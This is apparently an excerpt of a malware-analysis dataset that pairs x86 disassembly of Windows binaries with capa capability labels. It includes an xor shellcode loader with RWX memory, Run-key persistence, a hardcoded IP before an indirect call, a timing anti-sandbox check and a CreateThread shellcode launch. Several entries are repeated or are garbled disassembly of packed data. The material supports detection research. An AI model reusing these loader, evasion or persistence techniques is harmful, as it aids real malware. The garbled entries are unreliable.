joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1001d102
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x1001d111
pop dword [ebp - 0x30]
mov eax, 0x42e088f1
add eax, 0xcd214820
sub dword [ebp - 0x30], eax
push 0x40
push 0x1000
push 0x3bf1c
push 0
mov eax, 0xce116631
sub eax, 0xbe0e0555
add eax, dword [ebp - 0x30]
call dword [eax]
mov ecx, 0xffe39d29
sub ecx, 0xffe36714
xor esi, esi
add esi, eax
mov edx, 0x1003be00
add edx, dword [ebp - 0x30]
mov ebx, 0x7cc3a4de
sub ebx, 0x9ecd8bee
xor dword [ebp - 0xc], ebx
mov edi, dword [edx]
sub edi, ebx
add dword [ebp - 0x24], 0x6ad49396
mov dword [esi], edi
xor dword [ebp - 8], edx
add esi, 0xd6dee750
sub esi, 0xd6dee74c
add edx, 4
loop 0x1001d16c
add eax, 0x62ed2429
sub eax, 0x62ec5902
mov ebx, eax
add eax, 0xbd26ab80
add eax, 0x42d95485
mov ecx, 0xfbc06d4a
add ecx, 0x143f92b6
add ecx, dword [ebp - 0x30]
call ebx
leave
ret

Function at 0x100289d0
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x808
mov eax, dword [0x100330b4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x10035b0c]
test dword [ebp + 8], eax
je 0x10028a7a
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 0xc]
lea eax, [ebp - 0x808]
push eax
call fcn.1001d102
xor eax, eax
add esp, 0xc
mov word [ebp - 8], ax
mov eax, dword [0x10035b08]
test eax, eax
je 0x10028a6d
lea ecx, [ebp - 0x808]
push ecx
push eax
call fcn.1001d102
mov eax, dword [0x100330ac]
pop ecx
pop ecx
test eax, eax
jle 0x10028a7a
push esi
mov esi, dword [0x10035b10]
push edi
mov edi, dword [0x10035b14]
cdq
push edx
push eax
push edi
push esi
call fcn.10029420
add esi, 1
mov dword [0x10035b10], esi
adc edi, 0
or eax, edx
mov dword [0x10035b14], edi
pop edi
pop esi
jne 0x10028a7a
push dword [0x10035b08]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fflush]
pop ecx
jmp 0x10028a7a
lea eax, [ebp - 0x808]
push eax
call dword [sym.imp.kernel32.dll_OutputDebugStringW]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10028d50
leave
ret

Function at 0x401396
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
xor edx, edx
push esi
mov esi, ecx
cmp dword [0x40b0c4], edx
jne 0x4013d5
push ebx
push edi
push 8
mov ecx, edx
pop edi
mov ebx, ecx
and bl, 1
movzx ebx, bl
neg ebx
sbb ebx, ebx
and ebx, 0xedb88320
shr ecx, 1
xor ecx, ebx
dec edi
jne 0x4013aa
mov dword [edx*4 + 0x40b0c0], ecx
inc edx
cmp edx, 0x100
jl 0x4013a5
pop edi
pop ebx
not esi
jmp 0x4013f3
movzx ecx, byte [eax]
dec dword [esp + 8]
xor ecx, esi
and ecx, 0xff
shr esi, 8
xor esi, dword [ecx*4 + 0x40b0c0]
inc eax
cmp dword [esp + 8], 0
ja 0x4013d9
mov eax, esi
not eax
pop esi
ret 4
Function at 0x40cdc9
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x422234]
jne 0x40cdd3
repz ret
jmp fcn.004135f9

Function at 0x413b3e
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004104a0
and dword [ebp - 4], 0
cmp dword [0x423e1c], 0
mov ebx, eax
jne 0x413bef
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x413ca0
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x413ca0
push eax
call fcn.0041042e
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x423e1c], eax
call esi
push eax
call fcn.0041042e
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x423e20], eax
call esi
push eax
call fcn.0041042e
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x423e24], eax
call esi
push eax
call fcn.0041042e
pop ecx
mov dword [0x423e2c], eax
test eax, eax
je 0x413bef
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0041042e
pop ecx
mov dword [0x423e28], eax
mov eax, dword [0x423e28]
cmp eax, ebx
je 0x413c47
cmp dword [0x423e2c], ebx
je 0x413c47
push eax
call fcn.004104a9
push dword [0x423e2c]
mov esi, eax
call fcn.004104a9
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x413c47
test edi, edi
je 0x413c47
call esi
test eax, eax
je 0x413c3e
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x413c3e
test byte [ebp - 0xc], 1
jne 0x413c47
or dword [ebp + 0x10], 0x200000
jmp 0x413c80
mov eax, dword [0x423e20]
cmp eax, ebx
je 0x413c80
push eax
call fcn.004104a9
pop ecx
test eax, eax
je 0x413c80
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x413c80
mov eax, dword [0x423e24]
cmp eax, ebx
je 0x413c80
push eax
call fcn.004104a9
pop ecx
test eax, eax
je 0x413c80
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x423e1c]
call fcn.004104a9
pop ecx
test eax, eax
je 0x413ca0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x413ca2
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10005510
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x1000551f
pop dword [ebp - 0x20]
mov eax, 0x4f7428b
sub eax, 0xf4f6ed6c
sub dword [ebp - 0x20], eax
push 0x40
push 0x1000
push 0x34126
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x20]
call dword [eax]
mov ecx, 0x3b9d
mov ebx, eax
mov edx, 0x10019800
add edx, dword [ebp - 0x20]
mov edi, 0x714bf0b9
add edi, 0xeb28cb50
sub dword [ebp - 4], 0xcec4578f
mov esi, dword [edx]
xor esi, edi
mov dword [ebx], esi
add dword [ebp - 0xc], 0xd81d23fb
add ebx, 0x14944722
add ebx, 0xeb6bb8e2
add edx, 0x81731764
add edx, 0x7e8ce8a0
loop 0x1000556d
add eax, 0xe147
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x5afe3e96
sub ecx, 0x4afe3e96
add ecx, dword [ebp - 0x20]
call ebx
leave
ret
Function at 0x409947
Capabilities:
Encode data using xor

Disassembly:
invalid
pop ss
imul ebp, dword [ecx + 0x6c2cea1e], 0xffffffa5
mov dh, byte [edi - 0x26]
fidiv dword [eax]
add byte [ebx], dl
inc byte [edx + 0xa]
cli
fidiv dword [eax]
add byte [ebx], dl
inc byte [edx + 0xa]
cli
loopne 0x40993d
aam 0xf
int 0x25
loop 0x409925
imul esp, dword [ebx - 0x70], 0x70fa29bb
sbb ebx, ecx
mov ebx, 0x5eafb8f1
sti
mov word [eax], ss
int 0x1e

Function at 0x417e10
Capabilities:
Query or enumerate registry value

Disassembly:
mov eax, dword [0x4c9bbc]
sub esp, 0x14
push esi
push edi
mov esi, 0x190
push eax
mov edi, esi
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
lea ecx, [esp + 0x10]
push ecx
push 0x20019
push 0
add byte [eax - 0x38], ch
pushal
dec esp
add byte [eax + 1], ch
add byte [eax], al
cmp bh, 0x15
xor al, 0x10
dec esp
add byte [ebp - 0x767af040], al
add byte [eax], al
invalid
push ebx
push ebp

Function at 0x417e13
Capabilities:
Query or enumerate registry value

Disassembly:
mov eax, dword [0x4c9bbc]
sub esp, 0x14
push esi
push edi
mov esi, 0x190
push eax
mov edi, esi
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
lea ecx, [esp + 0x10]
push ecx
push 0x20019
push 0
add byte [eax - 0x38], ch
pushal
dec esp
add byte [eax + 1], ch
add byte [eax], al
cmp bh, 0x15
xor al, 0x10
dec esp
add byte [ebp - 0x767af040], al
add byte [eax], al
invalid
push ebx
push ebp

Function at 0x417e43
Capabilities:
Query or enumerate registry value

Disassembly:
mov eax, dword [0x4c9bbc]
sub esp, 0x14
push esi
push edi
mov esi, 0x190
push eax
mov edi, esi
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
lea ecx, [esp + 0x10]
push ecx
push 0x20019
push 0
add byte [eax - 0x38], ch
pushal
dec esp
add byte [eax + 1], ch
add byte [eax], al
cmp bh, 0x15
xor al, 0x10
dec esp
add byte [ebp - 0x767af040], al
add byte [eax], al
invalid
push ebx
push ebp

Function at 0x417e53
Capabilities:
Query or enumerate registry value

Disassembly:
mov dword [esp + 0x14], ebp
mov dword [esp + 0x10], ebp
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
cmp byte [eax], dl
dec esp
add byte [ebx + 0x4c9bbc], ah
lea edx, [esp + 0x10]
lea eax, [esp + 0x1c]
sbb al, 0x52
mov edx, dword [esp + 0x1c]
lea ecx, [esp + 0x18]
and al, 0x18
push eax
push ecx
push 0
push str.Browse_For_Folder_Width
pushal
dec esp
add byte [edx - 1], dl
invalid
test eax, eax

Function at 0x417e7b
Capabilities:
Query or enumerate registry value

Disassembly:
mov dword [esp + 0x14], ebp
mov dword [esp + 0x10], ebp
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
cmp byte [eax], dl
dec esp
add byte [ebx + 0x4c9bbc], ah
lea edx, [esp + 0x10]
lea eax, [esp + 0x1c]
sbb al, 0x52
mov edx, dword [esp + 0x1c]
lea ecx, [esp + 0x18]
and al, 0x18
push eax
push ecx
push 0
push str.Browse_For_Folder_Width
pushal
dec esp
add byte [edx - 1], dl
invalid
test eax, eax

Function at 0x417e83
Capabilities:
Query or enumerate registry value

Disassembly:
pushal
dec esp
add byte [edx - 1], dl
rol dword [ebp - 0x74f98a40], cl
jne fcn.00417e93
invalid
jl 0x417eb4
sbb al, 0x33
imul byte [edx]
push 0
Function at 0x417e93
Capabilities:
Query or enumerate registry value

Disassembly:
pushal
dec esp
add byte [edx - 1], dl
rol dword [ebp - 0x74f98a40], cl
jne fcn.00417e93
invalid
jl 0x417eb4
sbb al, 0x33
imul byte [edx]
push 0

Function at 0x420c27
Capabilities:
Encode data using xor

Disassembly:
cmc
jecxz 0x420c37
aas
xor al, 0x9a
popal
ja 0x420c4b
pop es
inc esp
test byte [ebx], dh
inc edi
push esp
jo 0x420c4e
sar al, 0x9e
div dword [eax]
mov eax, dword [0x89382611]
invalid
loope 0x420bce
sbb ch, byte [esi - 0x42]
add byte [ebx + 0x205ef3b3], dl
xor eax, 0xc57051b1
mov dl, 0xfc
mov eax, 0x37075fcf
ja 0x420cc6
iretd
and dword [edi + ebp + 0x79], ebx
pop esp
xchg edi, eax
adc bl, al
dec ebx
invalid
push es
push ds
popal
invalid
das
imul eax, dword [eax], 0xffffffa6
dec esp
inc ebx
imul eax, dword [edx - 0x15ee6d8e], 0x11
jle 0x420cb5
add byte [esi - 0x7d94bcb4], ah
jb 0x420c62
adc edx, ebp
adc dword [esi - 0x20], edi
inc ebx
jns 0x420d25
cmc
scasd eax, dword es:[edi]
pop ebp
adc dword [edx - 0x8c49d4e], esp
invalid
and esi, dword [esi + ebx*8]
inc esp
sub cl, 0xc5
loope 0x420cc8
invalid

Function at 0x465a77
Capabilities:
Encode data using xor

Disassembly:
je 0x465aef
mov ch, 0x2d
xor al, 0x7a
xchg edi, eax
pushfd
pop edx
and byte [ebp + 0x44], dh
wait
lahf
daa
out 0xac, al
xor eax, 0x792d4c55
jge 0x465a86
adc eax, 0xd498e4ab
invalid

Function at 0x4abba7
Capabilities:
Encode data using xor

Disassembly:
pop edx
lodsb al, byte [esi]
push esi
xor dh, byte [ebp - 6]
jne 0x4abb11
inc esi
inc ebx
sub eax, 0x111b2640
daa
cmpsd dword [esi], dword es:[edi]
ret 0x8852
pushal
inc esp
invalid
mov edx, dword [ecx]
leave
loopne 0x4abbac
cmp dword [edi - 0x3f], 0x73
stosd dword es:[edi], eax
mov ebx, 0xc398c398
jae 0x4abb15
invalid
ja 0x4abb2a
inc edx
inc edx
xchg ebx, eax
cmp eax, edx
mov esp, ebx
add al, 0x42
salc
mov eax, dword [0xb64bf207]
adc ecx, edx
inc ebx
test ebx, 0x4483602b
inc ebx
sal dword [eax + 0x45], cl
outsb dx, byte [esi]
lds edx, [edi + 0x29]
clc
xlatb
in eax, dx
mov dl, 0x33
adc byte [edx], al
popfd
fidivr dword [eax]
bound edx, qword [ebx + 0x424ba372]
mov al, byte [0x16d73df4]
cmp ebp, eax
push 0xab7573c9
je 0x4abb74
add eax, 0xbcb1ffb1
jle 0x4abc61
cmp dword [ebp - 0x676cca8d], edi
sar dword [esi + eax*8], 0xa1
add byte [edx - 0x6fd2cded], 0xbd
leave
rol dword [ebp - 0x1280328d], cl
cmp ebx, dword [esi + edx - 0x1a3f7dcd]
and byte [ebx - 0x514d6313], bl
mov bl, 0x97
Function at 0x10001000
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
push 0x10182848
push 0x136000
push section..data
call fcn.10001840
push section..data
call fcn.10001080
mov ebx, eax
add esp, 0x10
test ebx, ebx
je 0x10001046
push dword [ebp + 8]
push ebx
call fcn.10001b70
add esp, 8
test eax, eax
jne 0x1000104b
push ebx
call fcn.10001d30
add esp, 4
pop edi
pop esi
pop ebx
pop ebp
ret
sub esp, 0x848
mov ecx, 0x212
mov edi, esp
mov esi, str.154.91.64.58
rep movsd dword es:[edi], dword [esi]
call eax
push ebx
call fcn.10001d30
add esp, 4
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x100016c0
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10041410
mov eax, dword fs:[0]
push eax
sub esp, 0x24
push ebx
push esi
push edi
mov eax, dword [0x10182874]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov esi, dword [ebp + 0x10]
mov ecx, dword [esi]
mov eax, dword [esi + 4]
mov dword [ebp - 0x18], eax
movzx eax, word [ecx + 0x14]
add ecx, 0x18
add ecx, eax
xor edx, edx
mov eax, dword [esi]
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x14], ecx
movzx eax, word [eax + 6]
cmp edx, eax
jge 0x1000177d
cmp dword [ecx + 0x10], 0
push 0x1004ac4c
je 0x1000178f
jmp 0x100017a6
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x24]
mov dword [ebp - 4], 0
push eax
mov dword [ebp - 0x24], 0x36
call fcn.1000338b
lea eax, [ebp - 0x28]
mov dword [ebp - 4], 2
push eax
mov dword [ebp - 0x28], 0x43
call fcn.1000338b
mov eax, dword [ebp - 0x14]
push 4
push 0x1000
push dword [eax + 0x10]
mov eax, dword [eax + 0xc]
add eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x1c], eax
mov eax, 0x100017e0
ret

Function at 0x10001840
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 0xc]
xor ecx, ecx
push edi
xor edi, edi
test ebx, ebx
jle 0x10001893
mov dword [ebp + 0xc], 0x6d9
push esi
nop dword [eax + eax]
mov eax, dword [ebp + 0x10]
mov esi, ecx
movsx eax, byte [edi + eax]
cdq
idiv dword [ebp + 0xc]
mov eax, dword [ebp + 8]
add dl, 0x4f
xor byte [ecx + eax], dl
mov eax, 0xcccccccd
mul ecx
inc ecx
shr edx, 2
lea eax, [edx + edx*4]
lea edx, [edi + 1]
xor edi, edi
cmp esi, eax
cmovne edi, edx
cmp ecx, ebx
jl 0x10001860
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x100018a0
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10041430
mov eax, dword fs:[0]
push eax
sub esp, 0x24
push ebx
push esi
push edi
mov eax, dword [0x10182874]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
movzx eax, word [ecx + 0x14]
add ecx, 0x18
add ecx, eax
xor edx, edx
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x14], ecx
mov eax, dword [eax]
movzx eax, word [eax + 6]
cmp edx, eax
jge 0x100019d6
mov esi, dword [ecx + 0x24]
mov eax, esi
mov edi, esi
shr eax, 0x1d
shr edi, 0x1e
mov ebx, esi
and eax, 1
shr ebx, 0x1f
and edi, 1
test esi, 0x2000000
jne 0x100019e8
jmp 0x10001932
lea eax, [edi + eax*2]
lea eax, [ebx + eax*2]
mov eax, dword [eax*4 + 0x10182850]
mov dword [ebp - 0x20], eax
test esi, 0x4000000
je 0x10001952
or eax, 0x200
mov dword [ebp - 0x20], eax
mov eax, dword [ecx + 0x10]
mov dword [ebp - 0x18], eax
test eax, eax
je 0x10001a04
jmp 0x10001a20
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0x1004ac4c
lea eax, [ebp - 0x24]
mov dword [ebp - 4], 0
push eax
mov dword [ebp - 0x24], 0x4b
call fcn.1000338b
push 0x1004ac4c
lea eax, [ebp - 0x28]
mov dword [ebp - 4], 2
push eax
mov dword [ebp - 0x28], 0x10
call fcn.1000338b
push 0x1004ac4c
lea eax, [ebp - 0x2c]
mov dword [ebp - 4], 4
push eax
mov dword [ebp - 0x2c], 0xf
call fcn.1000338b
int3

Function at 0x100020e0
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
mov eax, dword [0x10182874]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x104
lea eax, [ebp - 0x110]
push 0
push eax
call fcn.10003e00
add esp, 0xc
lea eax, [ebp - 0x110]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x114]
push eax
push 0xf003f
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000216c
push 0x104
lea eax, [ebp - 0x110]
push eax
push 1
push 0
push 0x100421e0
push dword [ebp - 0x114]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x114]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], 0x6c656853
push eax
mov dword [ebp - 8], 0x78656c
call fcn.10001000
mov ecx, dword [ebp - 4]
add esp, 4
xor ecx, ebp
xor eax, eax
call fcn.10002223
mov esp, ebp
pop ebp
ret

Function at 0x10026788
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.10026146

Function at 0x1003aca9
Capabilities:
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.1003ab7d
Function at 0x401637
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x3c
cmp dword [ebp + 0x10], 2
jne 0x40168c
mov edx, 0x451084
mov esi, dword [ebp + 8]
mov dword [0x451080], 0x10
mov ecx, 4
mov edi, edx
mov edx, dword [ebp + 0xc]
mov dword [ebp - 0x20], 0xb8
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x1d], 0xe0ff0000
mov esi, dword [ebp + 8]
mov ecx, 4
mov dword [ebp - 0x1f], edx
mov edx, dword [ebp - 0x20]
mov eax, edi
rep movsd dword es:[edi], dword [esi]
mov dword [eax], edx
mov edx, dword [ebp - 0x1d]
mov dword [eax + 3], edx
mov ebx, dword [0x451080]
lea eax, [ebp - 0x20]
xor esi, esi
mov dword [ebp - 0x20], esi
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x40
mov dword [esp + 4], ebx
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [ebp - 0x2c], eax
call eax
sub esp, 0x10
test eax, eax
je 0x401754
cmp dword [ebp + 0x10], 0
mov esi, 0x451084
mov eax, 0x451094
mov ecx, ebx
cmovne esi, eax
cmp dword [0x4510a4], 0
mov edi, dword [ebp + 8]
rep movsb byte es:[edi], byte [esi]
jne 0x40170c
mov dword [esp], str.ntdll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push edx
mov dword [esp + 4], str.NtFlushInstructionCache
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ecx
push ecx
mov dword [0x4510a4], eax
mov esi, dword [0x4510a4]
test esi, esi
je 0x40172f
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [esp + 8], ebx
mov ecx, dword [ebp + 8]
mov dword [esp], eax
mov dword [esp + 4], ecx
call esi
sub esp, 0xc
lea eax, [ebp - 0x20]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x20]
mov dword [esp + 4], ebx
mov dword [esp + 8], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [ebp - 0x2c]
call eax
mov eax, 1
sub esp, 0x10
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x40183e
Capabilities:
Create thread

Disassembly:
push ebp
xor ecx, ecx
mov ebp, esp
push edi
xor edi, edi
push esi
push ebx
xor ebx, ebx
sub esp, 0x3c
mov esi, dword [ebp + 0xc]
mov dword [esp + 0x14], ecx
mov dword [esp + 0xc], ebx
mov dword [esp + 4], edi
mov dword [esp + 0x10], esi
mov dword [esp + 8], 0x40
mov dword [esp], 0xffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
xor edx, edx
sub esp, 0x18
mov edi, eax
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], edx
mov dword [esp + 8], edx
mov dword [esp + 4], 0xf003f
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
sub esp, 0x14
mov ebx, eax
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
push ecx
cmp eax, esi
jge 0x4018c5
mov ecx, dword [ebp + 0x10]
mov edx, eax
and edx, 7
mov dl, byte [ecx + edx]
mov ecx, dword [ebp + 8]
xor dl, byte [ecx + eax]
mov byte [ebx + eax], dl
inc eax
jmp 0x4018aa
call fcn.00401819
mov dword [esp], ebx
call fcn.00401604
lea eax, [ebp - 0x1c]
mov dword [esp], ebx
mov dword [esp + 4], esi
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x20
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
xor eax, eax
xor edx, edx
sub esp, 0x10
mov dword [esp + 0xc], ebx
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], eax
mov dword [esp + 8], 0x4015ea
mov dword [esp + 4], edx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_CreateThread]
sub esp, 0x18
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x401924
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x5c
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [esp + 0xc], 0x2a
mov dword [esp + 8], 0x17
mov dword [esp + 4], 0x402
mov dword [esp], eax
call dword [sym.imp.USER32.dll_PostThreadMessageA]
xor edx, edx
lea eax, [ebp - 0x34]
sub esp, 0x10
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], edx
mov dword [esp + 8], edx
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
call dword [sym.imp.USER32.dll_PeekMessageA]
sub esp, 0x14
test eax, eax
je 0x4019ff
cmp dword [ebp - 0x30], 0x402
jne 0x4019ff
cmp dword [ebp - 0x2c], 0x17
jne 0x4019ff
cmp dword [ebp - 0x28], 0x2a
jne 0x4019ff
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
mov dword [esp], 0x28a
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push eax
call esi
sub eax, 0x258
sub eax, ebx
cmp eax, 0x12b
ja 0x4019ff
mov ebx, dword [0x403024]
mov esi, 0x403038
mov dword [esp], ebx
call sub.msvcrt.dll_malloc
mov ecx, ebx
mov edi, eax
rep movsb byte es:[edi], byte [esi]
mov dword [esp + 4], ebx
mov dword [esp], eax
mov dword [esp + 8], 0x403028
mov dword [ebp - 0x3c], eax
call fcn.0040183e
mov eax, dword [ebp - 0x3c]
mov dword [ebp + 8], eax
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
jmp sub.msvcrt.dll_free
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x401c70
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call fcn.004029e0
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sub.msvcrt.dll_fwrite
mov dword [esp], 2
call fcn.004029e0
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]

Function at 0x401cd0
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x4510f0]
test esi, esi
jle 0x401df0
mov eax, dword [0x4510f4]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp ebx, edx
jb 0x401d04
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x401d87
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x401cf0
mov dword [esp], ebx
call fcn.004026c0
mov edi, eax
test eax, eax
je 0x401e17
mov eax, dword [0x4510f4]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call fcn.00402800
mov edx, dword [0x4510f4]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x401df7
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x401d80
lea edx, [eax - 4]
and edx, 0xfffffffb
jne 0x401d90
add dword [0x4510f0], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 4
mov eax, 0x40
mov ecx, dword [esp + 0x20]
cmove eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x4510f4]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x401d80
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call fcn.00401c70
lea esi, [esi]
lea esi, [esi]
xor esi, esi
jmp 0x401d0e
mov eax, dword [0x4510f4]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call fcn.00401c70
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call fcn.00401c70
lea esi, [esi]
nop